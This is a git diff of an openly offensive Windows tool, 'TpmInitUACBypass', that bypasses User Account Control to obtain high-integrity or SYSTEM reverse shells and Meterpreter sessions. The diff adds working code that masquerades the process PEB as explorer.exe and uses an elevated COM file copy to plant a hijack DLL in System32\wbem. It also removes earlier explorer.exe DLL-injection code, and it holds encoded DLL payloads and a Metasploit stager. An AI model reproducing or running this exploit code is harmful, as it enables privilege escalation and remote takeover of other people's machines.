"nD4VfpIu/69Yb+zRFrOiXs7GKUGNz4Lg4rmm8vPiy1bHGLl+gz+eGXcEtp98jqIh" - "tn/UmnW863Z8P+VCPCwZFddfvZ0zFjhfXL1DbE4v/S7ef/N+4JcdbVn9IzWnWizM" - "vTRvbenvnTHyvSzLkvPOck5uF/r8yRFj565L6DiD9AORI1m8kS98RMTKPDxM0qzc" - "HaoHonMgrs5hCRH9cuJ2SDSNqcdAJu4+LAAZaV6/0C8pf78rGwwngr7wvC067tA2" - "T8rrz+DkHL44cTjKxpMw7gsVw9mHIzIVURMSS5DZO2Eng495iBdl2bOchKG2qFkR" - "889gDmWSLxHrbVEGxLmQyrw6o8dyFTU4Jt9dIAlR57CyLXq/YeiXaOJryMnhbXUf" - "fB6IfH1YuYaQQNwMxEROvE/C6eI+OFFEvrYar9uHgHM4+iVZd4B6OTEzZ94O2AQw" - "M4OgGjJG2fMVUTgkgjByeBJeKup+5jwstMXIHRqoqr20Ma3sh1l431FR4/Ejos4W" - "HV9KouewMSeWrumuqy3Wv0P/X1ifhOkBJqe1w76Yfy6Hh4o4A0gdKBV9HvJFwoAR" - "FYxLQvEZNFVEzjl5aodEDhB5vxSs34eGQHyMrDXg9enxR5Jg1j5UjN1/cxfyMm/n" - "mnTBFa1vcMhzrXiZ4Ore+Sx3JsK+K/2y8s2FVbTztsAj5Dz+a8byIR5sxDOfIsn0" - "Z347xN0dtUO90/KDXBxocm2Zk1S8+jP3ebOUr3aHOePLsb1R5jiDw1szw5XTOqML" - "TD13kRXPds0aeTxjTzx3mDvTPD13+IOjrdlm0jlzbzOHsd+hZ74f8lYrHnu7/fnl" - "/3eG3vc60XZ6K1vg/Hec1m12ztg9pHU/VLy4xko4uKK9EnLeX2B6ze8OtDHXrH34" - "a5CHmNMmQRXtfSDI+UDPtDKvoFY9DWN4qOC2AQNlvWjgJwVhAOtgRwNkQyw3Lg1p" - "hCbwRoICbIeusGZMBndxF1QNYX6NkKarCWCMvipMKvSpAtuoPrRxYwLfIJAt5UKY" - "IA644QYA2nl7BKSFnAFblQCwHYYbqG6Anf5pXQxrOAagdjkMZ+GrzweZM6VI7bJ1" - "GNoOpgBmyq8nW7xkbS24KQza7467avDzohckoIHPPw54JtxEgJoDaZpsj9IOdD6n" - "y60Es9T3Sg03T36r1xNS4BhcAWg/xA8PIA1y1z98iiWNHMRHfWbi3X1dY+qsnTef" - "yjwX4l+7AKHT4y/dtXtYHOCgH4Ef8etiJZvqoZnQqjbwKvriwYzO/Ra8/kHOx4oW" - "gHzg/cdbzKckb58mmoDCPqipNyhxlTX47oCf7eW9CpNyB4C56h+k+wcDJwNAOuo/" - "Q0fQ7fj1n/7ha3Dd/Lq8s3R6Zuf0zbbpGuKmdDp9jtWCZvXo1Te83H272xnK5a/f" - "01HdZUVuA5zV5eLrbmuoC0GXcsxGdPXqwbn8oun0MlmrQKd1UR5em7UEdtoCu/rO" - "Lx5OLj+5/PV6FspNMgebbZE4nZtx67vZul1tRsTO3+gu04yNtjWcyy/d7nTdJGWy" - "Vn+OOqubSbyc7YIcthPEpoLYWOpd3lyup8vJuttjsz3Clm6sB5yulTkt3g1n7U4x" - "3eu9mRjO5Zp3S4S+ZaLb5XC+cOrms+Gsgz8962Ztaodzue7+zuyaDvrkZNuFNUwd" - "t3qaLmvo2RoW55mt0ajTFkHtZkUzOpxnnHXt12aLkZd1VodzuZyJIqfb05LNymSd" - "J3XYdZbpGm/sZlM5W3Rijl2KXbl8s7dMs2Y3LeUszJppHW10WcYOOyXeOc2TnMoU" - "ZuHs8yqebV7R2TOd05hsi9P6N9n6N1nlbP3n8k5hVk/hrVM6oVk47d5N225ypulM" - "xRQmPSump9fZMJ2lydnms9kyyk3breWyTqenWTb5XK5otvkyOTh10bZmyWzxZDkG" - "Z7qT07Nj9vtYTk5llvqYRh9mc+lmS+CWZ3b6mRXL3YvdyA4P1djkr+Np2tiVX70s" - "s3nqZuk0z1aYjdM2hSlPYrqza/qmOJumZ9KzZIpmxfT0MhumK1iY1dN9HJyMpCpZ" - "hSLrBVLiGgCbN5BJA5cTcA9QPEUDksKJhweYGicaIJwPFT6wqAFK4kSiA0iFDwcv" - "cbD8iAonBgIHIAjggIaigEBFTzOEXiC6wEYTZDYAJBNYTMGkF0CEN/Bq4xkIrMYl" - "amQV27G4vIFzHK8GKw5vjq/mK5KtsVc0J7aWocFpnBqyZieealuhtvFo+48YHq9Y" - "TjwS/Bmq+CkycuDMMDfQubGtN7PawkuCOzPdTwsngmajYWmNGr42oQFplxq6RiVa" - "asiahLYAHK1Kw9XqxDsNU+vUEDUYDUUjFHc0QM1QQ9N6NEhtcNSQtBVt8QE0R20z" - "01A0Eg1ZO9MwtBJt99BaXlaDMIZbm9LwtUQNXfvRQLWIrGIT1LA1HQ1Pw9OQtRhx" - "fHIartaibQGEJqWhiuJE0aI0TK1SQ9QeNBART3PQMEQ07UMDFbE0FA1de9KQtAZt" - "8RCalviqoWgY2ubRQhoM7UUDEU0ngsagLT+C9qfhazcamIaooWs+2upjaryirdgk" - "umqoWulYeooL2u4BtDkNT3PJLDDCGTRNQcMXw4mlmWjYGpuoouFrZeKItk6ANWMx" - "W/TeUq+2LYaLzuKuCC5Oit9iq0gqUovBYq2oLF6L3WJ0JoOgJWj7D69Ni8Dikggt" - "Wou0YrGGqelqiJqkhqcli6xis4akja7k1ZQ0FO1A23xwbVEM0mC11U30arMavpYk" - "RmqbqIasGWjYojhxtQINWjtUMTUCDVkcJ6ImoG0eVrsV+zQwjUi7HUoL0DYBVRvT" - "gLQQbfGw2pqGom1qEFpKVrEhZzAA2q/ILA6J3CLxGL6xnKK0WC0+g0HFWFFbA9Gw" - "tdshNvCMAlSLy1423Fmw0wMsELYtsAIAAcj5PnBuKqiuWQLOESlx90mUE+hEIYGn" - "WwFMZZyQOBBRYJaIpA1DGFclrkQQyCSuPxIFBV5RS+CQuEeuxDkQophAKWzO2yJU" - "4BOA0rb4LTbEcRDattBCunmbfxJHQWgbiS7zqmLOG4YibOzMeacrgU0AT+H2Z+FE" - "mLN/oojERdACnSgqcgFhrBw3RDWBQRQUOPhF2Tzx5r8JHIKpbPTHndDmvIXCBEpV" - "WbcaYJL4BNAEagEQZZvvtYMa1eYNvxCGpiGJVABHGTj5bt7oM4FHAFNgFgCTVwQA" - "tc1+V26/OYAggKGsGwiwigoCqaggcAyWKCRskehxu1HkTcFQtc3BN3lzLpwAhLJu" - "q3ijwYY9wZA5RpIAjLKZIk4EVJb/3lhAYYuH64YiY/3A29kA3MDN03GbpAhLfDlu" - "KLC0eSjrdh8r48A5dHFR2vKHcaPghI1DGzgQcwBuWikIaVUQpzVhnZEGQIZlYa0h" - "Zy1+zuv8mjUKa+BAsHGrLwRwhI1xTVibuPo5UE5kEwfgVoFl3WZesA7gDDw9DAAO" - "nH03bh2qAKSwyacjq7AhqNOKsDtu80dYHne6FsAStvxrYhu3eCdsDua4JmwAbVzS" - "xT0BGFlv3PQXARxhw78GmgGEgXUAeuDpaAB43PhrVdfv3Pw3YdPfpk1hddrku1lh" - "WOi1MD2AMK0J2/88ADTOChunnSaFhQGYaVQYHXe6FQBTlvq4zS+y6ADKtCSMjVv8" - "LAAhqwxATAsCqLLWuNuJAJKwNE6cUFidJoXJcUgAVBYaAJ1WBDBl2XGnMwEEAbQA" - "xAHMZQBL"; - - return EncodedDLL; -} \ No newline at end of file diff --git a/TpmInitUACBypass/IFileOperationB64.h b/TpmInitUACBypass/IFileOperationB64.h deleted file mode 100644 index 44f2b6d..0000000 --- a/TpmInitUACBypass/IFileOperationB64.h +++ /dev/null @@ -1,6 +0,0 @@ -#ifndef IFILE_H -#define IFILE_H - -char *IFileOperationB64(); - -#endif diff --git a/TpmInitUACBypass/TpmInitUACBypass.cpp b/TpmInitUACBypass/TpmInitUACBypass.cpp index 390843b..1ab97f1 100644 --- a/TpmInitUACBypass/TpmInitUACBypass.cpp +++ b/TpmInitUACBypass/TpmInitUACBypass.cpp @@ -5,7 +5,7 @@ / / / /_/ / / / / / // // / / / / /_ /_/ / .___/_/ /_/ /_/___/_/ /_/_/\__/ /_/ - UAC Suicide Squad + UAC Suicide Squad v1.1 By Cn33liz 2016 A tool to Bypass User Account Control (UAC), to get a High Integrity (or SYSTEM) Reversed Command shell, @@ -37,9 +37,7 @@ This version has been succesfully tested on Windows 8.1 x64 and Windows 10 x64 ( #include #include #include - - -EXTERN_C IMAGE_DOS_HEADER __ImageBase; +#include void Usage(LPWSTR lpProgram) { @@ -61,6 +59,321 @@ void Usage(LPWSTR lpProgram) { wprintf(L" [>] Example6: Remote SYSTEM Meterpreter: %s 10.0.0.1 443 msf system\n\n", lpProgram); } +BOOL MasqueradePEB() { + /* Masquerade our process PEB structure to give it the appearance of a different process. + We can use this to perform an elevated file copy using COM, without the need to inject a DLL into explorer.exe. + We basicly fool the COM IFileOperation Object (which is relying on the Process Status API (PSAPI) to check for process identity) + into thinking it is called from the Windows Explorer Shell. + + This function is based on the Bypass-UAC.ps1 code from @FuzzySec (b33f): + * https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Bypass-UAC/Bypass-UAC.ps1 + Which is basically a reimplementation of two functions in the UACME bypass code from @hFireF0X: + * supMasqueradeProcess: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L504 + * supxLdrEnumModulesCallback: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L477 + + The following links helped me a lot understanding the structures e.g: + * @rwfpl's terminus project: http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_combined.html + * Kernel-Mode Basics: Windows Linked Lists: http://www.osronline.com/article.cfm?article=499 + */ + + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, *PUNICODE_STRING; + + typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)( + HANDLE ProcessHandle, + DWORD ProcessInformationClass, + PVOID ProcessInformation, + DWORD ProcessInformationLength, + PDWORD ReturnLength + ); + + typedef NTSTATUS(NTAPI *_RtlEnterCriticalSection)( + PRTL_CRITICAL_SECTION CriticalSection + ); + + typedef NTSTATUS(NTAPI *_RtlLeaveCriticalSection)( + PRTL_CRITICAL_SECTION CriticalSection + ); + + typedef void (WINAPI* _RtlInitUnicodeString)( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + typedef struct _LIST_ENTRY { + struct _LIST_ENTRY *Flink; + struct _LIST_ENTRY *Blink; + } LIST_ENTRY, *PLIST_ENTRY; + + typedef struct _PROCESS_BASIC_INFORMATION + { + LONG ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + LONG BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR ParentProcessId; + } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; + + typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; + } PEB_LDR_DATA, *PPEB_LDR_DATA; + + typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + + // Partial PEB + typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + } PEB, *PPEB; + + typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + }; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + DWORD dwPID; + PROCESS_BASIC_INFORMATION pbi; + PPEB peb; + PPEB_LDR_DATA pld; + PLDR_DATA_TABLE_ENTRY ldte; + + _NtQueryInformationProcess NtQueryInformationProcess = (_NtQueryInformationProcess) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess"); + if (NtQueryInformationProcess == NULL) { + return FALSE; + } + + _RtlEnterCriticalSection RtlEnterCriticalSection = (_RtlEnterCriticalSection) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlEnterCriticalSection"); + if (RtlEnterCriticalSection == NULL) { + return FALSE; + } + + _RtlLeaveCriticalSection RtlLeaveCriticalSection = (_RtlLeaveCriticalSection) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlLeaveCriticalSection"); + if (RtlLeaveCriticalSection == NULL) { + return FALSE; + } + + _RtlInitUnicodeString RtlInitUnicodeString = (_RtlInitUnicodeString) + GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); + if (RtlInitUnicodeString == NULL) { + return FALSE; + } + + dwPID = GetCurrentProcessId(); + HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID); + if (hProcess == INVALID_HANDLE_VALUE) + { + return FALSE; + } + + // Retrieves information about the specified process. + NtQueryInformationProcess(hProcess, 0, &pbi, sizeof(pbi), NULL); + + // Read pbi PebBaseAddress into PEB Structure + if (!ReadProcessMemory(hProcess, &pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) { + return FALSE; + } + + // Read Ldr Address into PEB_LDR_DATA Structure + if (!ReadProcessMemory(hProcess, &peb->Ldr, &pld, sizeof(pld), NULL)) { + return FALSE; + } + + // Let's overwrite UNICODE_STRING structs in memory + + // First set Explorer.exe location buffer + WCHAR chExplorer[MAX_PATH + 1]; + GetWindowsDirectory(chExplorer, MAX_PATH); + wcscat_s(chExplorer, sizeof(chExplorer) / sizeof(wchar_t), L"\\explorer.exe"); + + LPWSTR pwExplorer = (LPWSTR)malloc(MAX_PATH); + wcscpy_s(pwExplorer, MAX_PATH, chExplorer); + + // Take ownership of PEB + RtlEnterCriticalSection(peb->FastPebLock); + + // Masquerade ImagePathName and CommandLine + RtlInitUnicodeString(&peb->ProcessParameters->ImagePathName, pwExplorer); + RtlInitUnicodeString(&peb->ProcessParameters->CommandLine, pwExplorer); + + // Masquerade FullDllName and BaseDllName + WCHAR wFullDllName[MAX_PATH]; + WCHAR wExeFileName[MAX_PATH]; + GetModuleFileName(NULL, wExeFileName, MAX_PATH); + + LPVOID pStartModuleInfo = peb->Ldr->InLoadOrderModuleList.Flink; + LPVOID pNextModuleInfo = pld->InLoadOrderModuleList.Flink; + do + { + // Read InLoadOrderModuleList.Flink Address into LDR_DATA_TABLE_ENTRY Structure + if (!ReadProcessMemory(hProcess, &pNextModuleInfo, &ldte, sizeof(ldte), NULL)) { + return FALSE; + } + + // Read FullDllName into string + if (!ReadProcessMemory(hProcess, (LPVOID)ldte->FullDllName.Buffer, (LPVOID)&wFullDllName, ldte->FullDllName.MaximumLength, NULL)) + { + return FALSE; + } + + if (_wcsicmp(wExeFileName, wFullDllName) == 0) { + RtlInitUnicodeString(&ldte->FullDllName, pwExplorer); + RtlInitUnicodeString(&ldte->BaseDllName, pwExplorer); + break; + } + + pNextModuleInfo = ldte->InLoadOrderLinks.Flink; + + } while (pNextModuleInfo != pStartModuleInfo); + + //Release ownership of PEB + RtlLeaveCriticalSection(peb->FastPebLock); + + // Release Process Handle + CloseHandle(hProcess); + + if (_wcsicmp(chExplorer, wFullDllName) == 0) { + return FALSE; + } + + return TRUE; +} + +BOOL UACBypassCopy() { + IFileOperation *fileOperation = NULL; + WCHAR dllPath[1024]; + LPCWSTR dllName = L"wbemcomn.dll"; + + GetModuleFileName(NULL, dllPath, 1024); + std::wstring path(dllPath); + const size_t last = path.rfind('\\'); + if (std::wstring::npos != last) + { + path = path.substr(0, last + 1); + } + path += dllName; + + // First Masquerade our Process as Explorer.exe + if (!MasqueradePEB()) { + wprintf(L" -> Oops PEB masquerading failed!\n"); + exit(1); + } + + wprintf(L" -> Done!\n"); + wprintf(L" [*] And use the IFileOperation::CopyItem method to copy our DLL"); + + LPCWSTR destPath = L"C:\\windows\\System32\\wbem"; + BIND_OPTS3 bo; + SHELLEXECUTEINFOW shexec; + + HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); + if (SUCCEEDED(hr)) { + memset(&shexec, 0, sizeof(shexec)); + memset(&bo, 0, sizeof(bo)); + bo.cbStruct = sizeof(bo); + bo.dwClassContext = CLSCTX_LOCAL_SERVER; + hr = CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}", &bo, __uuidof(IFileOperation), (PVOID*)&fileOperation); + if (SUCCEEDED(hr)) { + hr = fileOperation->SetOperationFlags( + FOF_NOCONFIRMATION | + FOF_SILENT | + FOFX_SHOWELEVATIONPROMPT | + FOFX_NOCOPYHOOKS | + FOFX_REQUIREELEVATION | + FOF_NOERRORUI); + if (SUCCEEDED(hr)) { + IShellItem *from = NULL, *to = NULL; + hr = SHCreateItemFromParsingName(path.data(), NULL, IID_PPV_ARGS(&from)); + if (SUCCEEDED(hr)) { + if (destPath) + hr = SHCreateItemFromParsingName(destPath, NULL, IID_PPV_ARGS(&to)); + if (SUCCEEDED(hr)) { + hr = fileOperation->CopyItem(from, to, dllName, NULL); + if (NULL != to) + to->Release(); + } + from->Release(); + } + if (SUCCEEDED(hr)) { + hr = fileOperation->PerformOperations(); + } + } + fileOperation->Release(); + } + CoUninitialize(); + } + + return TRUE; +} + BOOL CheckValidIpAddr(LPCSTR lpIpAddr) { unsigned long ulAddr = INADDR_NONE; @@ -181,13 +494,12 @@ int wmain(int argc, wchar_t* argv[]) HANDLE hFind; LPCWSTR dllName = L"C:\\Windows\\System32\\wbem\\wbemcomn.dll"; - wprintf(L" ______ ____ _ __ \n"); wprintf(L" /_ __/__ __ _ / _/__ (_) /_ \n"); wprintf(L" / / / _ \\/ ' \\_/ // _ \\/ / __/ \n"); wprintf(L" /_/ / .__/_/_/_/___/_//_/_/\\__/ \n"); wprintf(L" /_/ \n"); - wprintf(L" UAC Suicide Squad \n"); + wprintf(L" UAC Suicide Squad v1.1 \n"); wprintf(L" By Cn33liz 2016 \n\n"); if (argc < 4 || argc > 5) { @@ -232,15 +544,10 @@ int wmain(int argc, wchar_t* argv[]) wprintf(L" [*] Dropping needed DLL's from memory"); CHAR *WbemComn = WbemComnB64(); - CHAR *IFileOps = IFileOperationB64(); if (!Base64DecodeAndDecompressDLL(WbemComn, L"wbemcomn.dll")) { wprintf(L" -> Oops something went wrong!\n"); exit(1); } - if (!Base64DecodeAndDecompressDLL(IFileOps, L"IFileOperation.dll")) { - wprintf(L" -> Oops something went wrong!\n"); - exit(1); - } wprintf(L" -> Done!\n"); @@ -297,8 +604,7 @@ int wmain(int argc, wchar_t* argv[]) CHAR *MsfStager = MsfStagerB64(); GetTempPath(MAX_PATH, chMsfFile); - wcscat_s(chMsfFile, sizeof(chMsfFile) / sizeof(wchar_t), L"tmpMSFBLA.tmp"); - //if (!CopyFile(lpMsfdllName, chMsfFile, FALSE)) { + wcscat_s(chMsfFile, sizeof(chMsfFile) / sizeof(wchar_t), L"tmpMSFBLA.tmp"); if (!Base64DecodeAndDecompressDLL(MsfStager, chMsfFile)) { wprintf(L" -> Oops something went wrong!\n"); exit(1); @@ -306,69 +612,15 @@ int wmain(int argc, wchar_t* argv[]) } wprintf(L" -> Done!\n"); - - wprintf(L" [*] Now injecting the IFileOperation DLL into explorer.exe process....\n"); - wprintf(L" [*] And use the IFileOperation::CopyItem method to copy our DLL"); - - DWORD pid = 0; - HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - - PROCESSENTRY32 process; - ZeroMemory(&process, sizeof(process)); - - process.dwSize = sizeof(process); - if (Process32First(snapshot, &process)) - { - do - { - if (wcscmp(process.szExeFile, L"explorer.exe") == 0) - { - pid = process.th32ProcessID; - break; - } - } while (Process32Next(snapshot, &process)); - } - - CloseHandle(snapshot); - if (pid == 0) - return -1; - auto hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid); - HANDLE hThread; - WCHAR DllPath[MAX_PATH] = { 0 }; - - GetModuleFileName((HINSTANCE)&__ImageBase, DllPath, _countof(DllPath)); - std::wstring path(DllPath); - const size_t last = path.rfind('\\'); - if (std::wstring::npos != last) - { - path = path.substr(0, last + 1); - } - path += L"IFileOperation.dll"; - - void* pLibRemote; - DWORD hLibModule; - HMODULE hKernel32 = ::GetModuleHandle(L"Kernel32"); - pLibRemote = ::VirtualAllocEx(hProcess, NULL, sizeof(wchar_t)*(path.length() + 1), - MEM_COMMIT, PAGE_READWRITE); - WriteProcessMemory(hProcess, pLibRemote, (void*)path.data(), - sizeof(wchar_t)*(path.length() + 1), NULL); - hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW"), pLibRemote, 0, NULL); - auto e = GetLastError(); - WaitForSingleObject(hThread, INFINITE); - GetExitCodeThread(hThread, &hLibModule); - CloseHandle(hThread); - VirtualFreeEx(hProcess, pLibRemote, sizeof(wchar_t)*(path.length() + 1), MEM_RELEASE); - - /* Not needed... Our DLL will Self Destruct ;) - hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "FreeLibrary"), (void*)hLibModule, 0, NULL); - WaitForSingleObject(hThread, INFINITE); - CloseHandle(hThread);*/ + wprintf(L" [*] Now Masquerade our Process (PEB) as Explorer.exe"); + UACBypassCopy(); hFind = FindFirstFile(dllName, &FindFileData); if (hFind == INVALID_HANDLE_VALUE) { - wprintf(L" -> Oops something went wrong!\n"); + wprintf(L" -> Oops IFileOperation::CopyItem failed!\n"); + DeleteFile(L"wbemcomn.dll"); return 1; } else @@ -384,14 +636,11 @@ int wmain(int argc, wchar_t* argv[]) wprintf(L" [*] Let's start TpmInit.exe, enable all privs and see if we get a session...\n"); } - //Not Needed... TpmInit.exe is started from within our injected IFileOperation DLL. - //ShellExecute(NULL, NULL, L"C:\\Windows\\System32\\TpmInit.exe", NULL, NULL, SW_HIDE); - //Sleep(1000); + ShellExecute(NULL, NULL, L"C:\\Windows\\System32\\TpmInit.exe", NULL, NULL, SW_HIDE); wprintf(L" [*] Have fun!\n\n"); DeleteFile(L"wbemcomn.dll"); - DeleteFile(L"IFileOperation.dll"); return 0; } diff --git a/TpmInitUACBypass/TpmInitUACBypass.vcxproj b/TpmInitUACBypass/TpmInitUACBypass.vcxproj index d5d5bbb..a59477c 100644 --- a/TpmInitUACBypass/TpmInitUACBypass.vcxproj +++ b/TpmInitUACBypass/TpmInitUACBypass.vcxproj @@ -144,7 +144,6 @@ - Create @@ -154,7 +153,6 @@ - diff --git a/TpmInitUACBypass/TpmInitUACBypass.vcxproj.filters b/TpmInitUACBypass/TpmInitUACBypass.vcxproj.filters index 9be9d01..41a50dc 100644 --- a/TpmInitUACBypass/TpmInitUACBypass.vcxproj.filters +++ b/TpmInitUACBypass/TpmInitUACBypass.vcxproj.filters @@ -21,9 +21,6 @@ Source Files - - Source Files - Source Files @@ -41,9 +38,6 @@ Header Files - - Header Files - Header Files diff --git a/TpmInitUACBypass/stdafx.h b/TpmInitUACBypass/stdafx.h index 4f39df7..61c9558 100644 --- a/TpmInitUACBypass/stdafx.h +++ b/TpmInitUACBypass/stdafx.h @@ -10,7 +10,6 @@ #include #include #include "WbemComnB64.h" -#include "IFileOperationB64.h" #include "MsfStagerB64.h"